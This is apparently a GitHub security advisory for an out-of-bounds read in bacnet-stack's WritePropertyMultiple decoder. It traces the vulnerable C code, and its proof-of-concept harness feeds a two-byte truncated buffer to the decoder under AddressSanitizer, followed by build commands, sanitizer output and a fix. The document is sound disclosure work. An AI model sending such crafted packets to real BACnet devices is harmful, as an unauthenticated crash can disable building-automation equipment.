Skip to content

Out-of-Bounds Read in WritePropertyMultiple Decoder via Deprecated Tag Parser

High
skarg published GHSA-cvv4-v3g6-4jmv Apr 16, 2026

Package

No package listed

Affected versions

1.5.0.rc1, 1.4.0-1.4.2

Patched versions

1.5.0, 1.4.3

Description

Summary

An out-of-bounds read vulnerability in bacnet-stack's WritePropertyMultiple service decoder allows unauthenticated remote attackers to read past allocated buffer boundaries by sending a truncated WPM request. The vulnerability stems from wpm_decode_object_property() calling the deprecated decode_tag_number_and_value() function, which performs no bounds checking on the input buffer. A crafted BACnet/IP packet with a truncated property payload causes the decoder to read 1-7 bytes past the end of the buffer, leading to crashes or information disclosure on embedded BACnet devices.

Affected Versions

  • bacnet-stack 1.5.0 (development master at commit 578f507)
  • All versions using wpm_decode_object_property() with the deprecated decode_tag_number_and_value() decoder

The vulnerability exists in src/bacnet/wpm.c and affects any deployment that enables the WritePropertyMultiple confirmed service handler (enabled by default in the reference server).

Details

Discovery

While auditing the bacnet-stack codebase for use of deprecated decoders, I noticed that the recent commit 578f507 ("Secure the BVLC decoders by replacing deprecated primitive and complex data decoders") replaced deprecated decoders in the BVLC layer but left many service decoders untouched. The deprecated decode_tag_number_and_value() function at src/bacnet/bacdcode.c:681 accepts no buffer length parameter and reads up to 7 bytes blindly from whatever pointer it receives.

I traced through wpm_decode_object_property() and found that after decoding the first tag (property identifier), the function immediately calls decode_tag_number_and_value() again at line 125 without any check that the current position len is still within the buffer boundary apdu_len. With a 2-byte input buffer, the first tag decode consumes both bytes, and the second call reads past the end.

The Vulnerable Code

The bug is in src/bacnet/wpm.c, function wpm_decode_object_property():

// src/bacnet/wpm.c lines 114-125
        /* tag 0 - Property Identifier */
        len += decode_tag_number_and_value(&apdu[len], &tag_number, &len_value);
        if (tag_number == 0) {
            len += decode_enumerated(&apdu[len], len_value, &enum_value);
            wp_data->object_property = enum_value;
        } else {
            wp_data->error_code = ERROR_CODE_REJECT_INVALID_TAG;
            return BACNET_STATUS_REJECT;
        }

        /* tag 1 - Property Array Index - optional */
        len += decode_tag_number_and_value(&apdu[len], &tag_number, &len_value);

Line 115 decodes tag 0 (the property identifier). For a minimal encoding, this consumes 1 byte (tag) + 1 byte (enumerated value) = 2 bytes. After line 117, len = 2.

Line 125 then calls decode_tag_number_and_value(&apdu[2], ...) to look for the optional array index tag. But if the input buffer was exactly 2 bytes, &apdu[2] points one byte past the end. There is no len < apdu_len check between lines 118 and 125.

The deprecated decode_tag_number_and_value() at src/bacnet/bacdcode.c:681 calls decode_tag_number() which unconditionally reads apdu[0] at line 379, and for extended tags also reads apdu[1] at line 382:

// src/bacnet/bacdcode.c lines 374-391
int decode_tag_number(const uint8_t *apdu, uint8_t *tag_number)
{
    int len = 1;
    if (IS_EXTENDED_TAG_NUMBER(apdu[0])) {  // line 379: reads apdu[0]
        if (tag_number) {
            *tag_number = apdu[1];           // line 382: reads apdu[1]
        }
        len++;
    } else {
        if (tag_number) {
            *tag_number = (uint8_t)(apdu[0] >> 4);
        }
    }
    return len;
}

This function takes no length parameter. It was explicitly deprecated with the comment "Use bacnet_tag_decode() instead" — the replacement takes an apdu_size parameter and performs bounds checking.

The same pattern repeats at lines 130, 149, and 172 in wpm_decode_object_property(), each calling decode_tag_number_and_value() without a preceding bounds check.

Network Reachability

The WritePropertyMultiple service is registered by default in the reference server implementation:

// src/bacnet/basic/server/bacnet_basic.c line 205
apdu_set_confirmed_handler(
    SERVICE_CONFIRMED_WRITE_PROP_MULTIPLE, handler_write_property_multiple);

The full call chain from network input to the vulnerable function:

  1. BACnet/IP UDP packet received by bip_receive()
  2. BVLC header decoded, NPDU parsed
  3. apdu_handler() dispatches to registered confirmed service handler
  4. handler_write_property_multiple() at src/bacnet/basic/service/h_wpm.c:124
  5. write_property_multiple_decode() at h_wpm.c:40 — line 63 calls:
  6. wpm_decode_object_property() at src/bacnet/wpm.c:101 — line 125 calls:
  7. decode_tag_number_and_value() at src/bacnet/bacdcode.c:681 — line 688 calls:
  8. decode_tag_number() at src/bacnet/bacdcode.c:374 — line 379 reads out of bounds

The attacker controls the APDU content and its length. No authentication is required — the APDU handler dispatches the service request before any authentication occurs.

Proof of Concept

The PoC is a C program that calls wpm_decode_object_property() directly with truncated buffers, compiled with AddressSanitizer to detect the out-of-bounds access:

// poc_wpm_oob_read.c (excerpt)
#include "bacnet/wpm.h"

int main(void) {
    BACNET_WRITE_PROPERTY_DATA wp_data;
    memset(&wp_data, 0, sizeof(wp_data));

    // 2-byte buffer: context tag 0 (0x09) + property value (0x55)
    // After decoding tag 0, len=2, then line 125 reads apdu[2] -> OOB
    uint8_t apdu[2] = { 0x09, 0x55 };
    int len = wpm_decode_object_property(apdu, sizeof(apdu), &wp_data);
}

Compile and run:

# Build bacnet-stack with ASan
cmake -B build-asan -DCMAKE_C_FLAGS="-fsanitize=address -g" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
cmake --build build-asan -j$(nproc)

# Compile PoC
cc -fsanitize=address -g -I src -I src/bacnet \
   -o poc_wpm_oob_read poc_wpm_oob_read.c build-asan/libbacnet-stack.a -lm

# Run
./poc_wpm_oob_read

Validation Evidence

Tested on February 21, 2026 against bacnet-stack 1.5.0 (master branch, commit 578f507) built with AddressSanitizer on macOS Darwin 25.1.0.

ASan output:

=================================================================
==97501==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x00016ef16832
READ of size 1 at 0x00016ef16832 thread T0
    #0 decode_tag_number        bacdcode.c:379
    #1 decode_tag_number_and_value  bacdcode.c:688
    #2 wpm_decode_object_property   wpm.c:125
    #3 main                     poc_wpm_oob_read.c:46

  This frame has 5 object(s):
    [1680, 1682) 'apdu' (line 41) <== Memory access at offset 1682 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow bacdcode.c:379 in decode_tag_number

The buffer apdu occupies stack offsets [1680, 1682) — exactly 2 bytes. The read at offset 1682 is 1 byte past the end, confirming the out-of-bounds access.

The execution trace matches precisely:

  • wpm_decode_object_property() at wpm.c:125 calls decode_tag_number_and_value(&apdu[2], ...) where the buffer only has 2 bytes (indices 0-1)
  • decode_tag_number_and_value() at bacdcode.c:688 calls decode_tag_number()
  • decode_tag_number() at bacdcode.c:379 reads apdu[0] relative to the passed pointer, which is absolute apdu[2] — one byte past the allocated buffer

Recommended Fix

Replace the deprecated decode_tag_number_and_value() calls in wpm_decode_object_property() with the bounds-checked bacnet_tag_decode(), and add explicit bounds checks before each tag decode:

// Before each decode_tag_number_and_value call, add:
if (len >= apdu_len) {
    wp_data->error_code = ERROR_CODE_REJECT_MISSING_REQUIRED_PARAMETER;
    return BACNET_STATUS_REJECT;
}

This fix and additional replacement of deprecated functions with bounds checked function are completed in pull-request [1244](https://github.com/bacnet-stack/bacnet-stack/pull/1244)

Impact

This is an unauthenticated remote vulnerability. An attacker on the BACnet network can:

  • Crash BACnet devices by triggering the OOB read with a single crafted packet
  • Potentially leak adjacent memory contents (information disclosure)
  • Target any device running bacnet-stack with the WritePropertyMultiple handler enabled (default configuration)

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-41475

Weaknesses

Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits